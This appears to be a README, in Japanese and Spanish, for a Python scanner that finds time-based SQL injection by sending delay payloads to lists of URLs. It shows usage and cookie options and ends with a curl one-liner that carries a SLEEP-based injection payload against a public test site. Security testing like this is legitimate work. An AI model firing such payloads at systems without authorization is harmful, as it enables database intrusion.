
複数のURLに対して細工したGETリクエストを送信し、遅延応答を測定することで時間ベースのSQLインジェクションを検出します。認証付きテスト用のCookieサポートを含みます。
time-basedインジェクションにより応答時間を20秒以上にすることで、SQLiの脆弱性を発見できるシンプルなスクリプトです。
usage: SQLi_Sleeps2.py [-h] -u URLS -d DATA [-c COOKIE]
Realiza una petición GET a múltiples URLs con diferentes datos.
options:
-h, --help show this help message and exit
-u URLS, --urls URLS Archivo de texto con las URLs a las que se les realizará la petición GET.
-d DATA, --data DATA Archivo de texto con los datos que se agregarán a las URLs.
-c COOKIE, --cookie COOKIE
Cookie a incluir en la petición GET.
# Cookie simple
python3 script.py -u urls.txt -d data.txt -c "session=abc123"
# Múltiples cookies
python3 script.py -u urls.txt -d data.txt -c "session=abc123; user_id=456"
# Sin cookie
python3 script.py -u urls.txt -d data.txt
cat urls.txt | sed 's/FUZZ//g'
python3 SQLi_Sleeps2.py -u urls.txt -d data.txt

手動解析
time curl "http://testphp.vulnweb.com/search.php?test=query'XOR(SELECT(0)FROM(SELECT(SLEEP(5)))a)XOR'Z" -I
